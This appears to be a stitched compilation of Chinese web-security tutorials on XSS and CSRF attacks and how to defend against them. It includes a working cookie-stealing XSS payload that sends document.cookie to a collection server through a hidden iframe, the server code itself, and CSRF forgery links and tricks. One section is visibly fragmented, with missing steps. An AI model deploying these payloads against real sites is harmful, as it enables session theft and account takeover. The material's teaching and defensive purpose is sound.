XSS：腳本中的不速之客
XSS 全稱「跨站腳本」，是注入攻擊的一種。其特點是不對伺服器端造成任何傷害，而是通過一些正常的站內交互途徑，例如發布評論，提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本，作為內容發布到了頁面上，其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中，可能只是簡單的惡作劇——一個關不掉的窗口：
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程，先建立一個用來收集信息的伺服器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求，是他們所看不到的。而這個請求，會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制，只能訪問當前域名下的 URL，所謂不能「跨域」問題。這種做法的初衷也是防範 XSS，多多少少都起了一些作用，但不是總是有用，正如上面的注入代碼，用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下，我還能用 iframe 發起 POST 請求。當然，現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截，例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功，何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將，我們也不應該把事關安全性的責任推脫給瀏覽器，所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的，這點對於 Web 開發者應該是常識。
正如上文所說，如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本，那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點，Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們，我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數，Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎，那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是，在一些場合我們要允許用戶輸入 HTML，又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙，但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的，任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況，我個人更傾向於使用簡單的方法處理，簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構，但我們並不將這些數據直接存入資料庫，而是使用 HTML 解析庫遍歷節點，獲取其中數據（之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性）。然後根據用戶原有的標簽屬性，重新構建 HTML 元素樹。構建的過程中，所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別（前面說了 HTML 不同於 XML，要求有很強的容錯性），那麼它不會成為漏網之魚，因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹，我們可以拍胸脯保證——所有的標簽、屬性都來自白名單，一定不會遺漏。
現在看來，大多數 Web 開發者都了解 XSS 並知道如何防範，往往大型的 XSS 攻擊（包括前段時間新浪微博的 XSS 注入）都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中，開啟（或不要關閉）類似 Django Template、Jinja2 中「默認轉義」（Auto Escape）的功能。在不需要轉義的場合，我們可以用類似 的方式取消轉義。這種白名單式的做法，有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域，是富 AJAX 類應用（例如豆瓣網的阿爾法城）。這類應用的風險並不集中在 HTTP 的靜態響應內容，所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域，開發者不得不自己打開危險的大門。這種情況下，站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包（似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試），但我都沒試用過，故不予評價。不管怎麼說，我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF：冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別，後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條，但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」，而 XSS 的全稱是「跨站腳本」。看起來有點相似，它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶，但前面說了，它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義，是偽造請求，冒充用戶在站內的正常操作。我們知道，絕大多數網站是通過 cookie 等方式辨識用戶身份（包括使用伺服器端 Session 的網站，因為 Session ID 也是大多保存在 cookie 裡面的），再予以授權的。所以要偽造用戶的正常操作，最好的方法是通過 XSS 或鏈接欺騙等途徑，讓用戶在本機（即擁有身份 cookie 的瀏覽器端）發起用戶所不知道的請求。
嚴格意義上來說，CSRF 不能分類為注入攻擊，因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌，但對於設計不佳的網站，一條正常的鏈接都能造成 CSRF。
例如，一論壇網站的發貼是通過 GET 請求訪問，點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問：
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼，我只需要在論壇中發一帖，包含一鏈接：
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接，那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇，但是既然發貼的請求可以偽造，那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題，我們是否可以效仿上文應對 XSS 的做法呢？過濾用戶輸入， 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用，但阻擋不了 CSRF，因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去，為了偽裝可能還使用 bit.ly 壓縮一下網址，這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ，我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入，因為它並不屬於注入攻擊，而是請求偽造。被偽造的請求可以是任何來源，而非一定是站內。所以我們唯有一條路可行，就是過濾請求的 處理者。
比較頭痛的是，因為請求可以從任何一方發起，而發起請求的方式多種多樣，可以通過 iframe、ajax（這個不能跨域，得先 XSS）、Flash 內部發起請求（總是個大隱患）。由於幾乎沒有徹底杜絕 CSRF 的方式，我們一般的做法，是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻，就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作，應該只接受 POST 請求，而 GET 請求應該只瀏覽而不改變伺服器端資源。當然，最理想的做法是使用 REST 風格 的 API 設計，GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法，我們可以使用 ajax 提交請求（例如通過 jquery-form 插件，我最喜歡的做法），也可以使用隱藏域指定請求方法，然後用 POST 模擬 PUT 和 DELETE （Ruby on Rails 的做法）。這么一來，不同的資源操作區分的非常清楚，我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了，但他們仍可以發布表單，或者在其他站點上使用我們肉眼不可見的表單，在後台用 js 操作，偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF，這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生，「請求令牌」和「同步令牌」原理是一樣的，只不過目的不同，後者是為了解決 POST 請求重復提交問題，前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單，首先伺服器端要以某種策略生成隨機字元串，作為令牌（token）， 保存在 Session 里。然後在發出請求的頁面，把該令牌以隱藏域一類的形式，與其他信息一並發出。在接收請求的頁面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時候才處理請求，否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單，但並非不可破解，使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意：
雖然請求令牌原理和驗證碼有相似之處，但不應該像驗證碼一樣，全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的，破解方式是解析來源頁面的文本，獲取令牌內容。如果全局使用一個 Session Key，那麼危險系數會上升。原則上來說，每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候，可以稍加封裝，編寫一個令牌工具包，將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合，因為很有請求是 JavaScript 發起的，使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何，請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門，卻又把鑰匙放在門口，讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的，所以非常重要的場合，應該考慮使用驗證碼（令牌的一種升級，目前來看破解難度極大），或者要求用戶再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶體驗都不好，所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼，伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題，驗證碼用完並未銷毀，故只要獲取一次驗證碼圖片，其中的驗證碼可以在多次請求中使用（只要不再次刷新驗證碼圖片），一直用到 Session 超時。這也是為何選課系統加了驗證碼，外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF，其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面：referer 是在 HTTP Request Head 裡面的，也就是由請求的發送者決定的。如果我喜歡，可以給 referer 任何值。當然這個做法並不是毫無作用，起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接：這個是最無效的做法，因為首先攻擊者不一定要從站內發起請求（上面提到過了），而且就算從站內發起請求，途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇，還不需要用戶去點擊，只要用戶的瀏覽器會自動載入圖片，就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶：這個方法看上去能幹擾站外通過 iframe 發起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者乾脆脫離 iframe，使用 Flash 來達到目的。
總體來說，目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章，一般都會含有「無恥」二字來形容（另一位有該名號的貌似是 DDOS 攻擊）。作為開發者，我們能做的就是盡量提高破解難度。當破解難度達到一定程度，網站就逼近於絕對安全的位置了（雖然不能到達）。上述請求令牌方法，就我 認為是最有可擴展性的，因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說，偽造的請求和正常的請求本質上是一致的。而請求令牌的方法，則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作，例如讓頁面中 token 的 key 動態化，進一步提高攻擊者的門檻。本文只是我個人認識的一個總結，便不討論過深了。
⑺ 如何正確防禦xss攻擊
傳統防禦技術
2.1.1基於特徵的防禦
傳統XSS防禦多採用特徵匹配方式，在所有提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊，採用的模式匹配方法一般會需要對「javascript」這個關鍵字進行檢索，一旦發現提交信息中包含「javascript」，就認定為XSS攻擊。
2.1.2 基於代碼修改的防禦
和SQL注入防禦一樣，XSS攻擊也是利用了Web頁面的編寫疏忽，所以還有一種方法就是從Web應用開發的角度來避免：
1、對所有用戶提交內容進行可靠的輸入驗證，包括對URL、查詢關鍵字、HTTP頭、POST數據等，僅接受指定長度范圍內、採用適當格式、採用所預期的字元的內容提交，對其他的一律過濾。
2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查，以防功能被第三方網站所執行。
3、確認接收的的內容被妥善的規范化，僅包含最小的、安全的Tag(沒有javascript)，去掉任何對遠程內容的引用(尤其是樣式表和javascript)，使用HTTP only的cookie。
當然，如上方法將會降低Web業務系統的可用性，用戶僅能輸入少量的制定字元，人與系統間的交互被降到極致，僅適用於信息發布型站點。
並且考慮到很少有Web編碼人員受過正規的安全培訓，很難做到完全避免頁面中的XSS漏洞。
(7)前端xss攻擊分為幾種擴展閱讀：
XSS攻擊的危害包括
1、盜取各類用戶帳號，如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據，包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
受攻擊事件
新浪微博XSS受攻擊事件
2011年6月28日晚，新浪微博出現了一次比較大的XSS攻擊事件。
大量用戶自動發送諸如：
「郭美美事件的一些未注意到的細節」，「建黨大業中穿幫地方」，「讓女人心動的100句詩歌」，「這是傳說中的神仙眷侶啊」等等微博和私信，並自動關注一位名為hellosamy的用戶。
事件的經過線索如下：
20:14，開始有大量帶V的認證用戶中招轉發蠕蟲
20:30，某網站中的病毒頁面無法訪問
20:32，新浪微博中hellosamy用戶無法訪問
21:02，新浪漏洞修補完畢
網路貼吧xss攻擊事件
2014年3月9晚，六安吧等幾十個貼吧出現點擊推廣貼會自動轉發等。並且吧友所關注的每個關注的貼吧都會轉一遍，病毒循環發帖。並且導致吧務人員，和吧友被封禁。
⑻ HTML5技術分享 淺談前端安全以及如何防範
隨著互聯網的發達，各種WEB應用也變得越來越復雜，滿足了用戶的各種需求，但是隨之而來的就是各種網路安全的問題。作為前端開發行業的我們也逃不開這個問題。所以今天我就簡單聊一聊WEB前端安全以及如何防範。
首先前端攻擊都有哪些形式，我們該如何防範?
一、XSS攻擊
XSS是一種經常出現在web應用中的計算機安全漏洞，它允許惡意web用戶將代碼植 入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻 擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型 的漏洞由於被黑客用來編寫危害性更大的網路釣魚(Phishing)攻擊而變得廣為人知。
XSS攻擊的危害包括：
1、盜取各類用戶帳號，如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據，包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
XSS攻擊的具體表現：
1、JavaScript代碼注入
下面是代碼的頁面
2 接著，我們在cheat.php這個網站上面，將跳轉過來的源網頁地址悄悄的進行修改。
於是，在用戶訪問了我們的欺騙網站後，之前的tab已經悄然發生了變化，我們將其悄悄的替換為了釣魚的網站，欺騙用戶輸入用戶名、密碼等。
3 我們的釣魚網站，偽裝成XX空間，讓用戶輸入用戶名與密碼
這種釣魚方式比較有意思，重點在於我們比較難防住這種攻擊，我們並不能將所有的頁面鏈接都使用js打開。所以，要麼就將外鏈跳轉的連接改為當前頁面跳轉，要麼就在頁面unload的時候給用戶加以提示，要麼就將頁面所有的跳轉均改為window.open，在打開時，跟大多數釣魚防治殊途同歸的一點是，我們需要網民們的安全意識提高。
六、我們平時開發要注意些什麼?
開發時要提防用戶產生的內容，要對用戶輸入的信息進行層層檢測要注意對用戶的輸出內容進行過濾(進行轉義等)重要的內容記得要加密傳輸(無論是利用https也好，自己加密也好)
get與post請求，要嚴格遵守規范，不要混用，不要將一些危險的提交使用jsonp完成。
對於URL上攜帶的信息，要謹慎使用。心中時刻記著，自己的網站哪裡可能有危險。
⑼ XSS是指什麼
惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web裡面的html代碼會被執行，從而達到惡意用戶的特殊目的。什麼是XSS攻擊XSS又叫CSS (Cross Site Script) ，跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web裡面的html代碼會被執行，從而達到惡意攻擊用戶的特殊目的。XSS屬於被動式的攻擊，因為其被動且不好利用，所以許多人常忽略其危害性。而本文主要講的是利用XSS得到目標伺服器的shell。技術雖然是老技術，但是其思路希望對大家有幫助。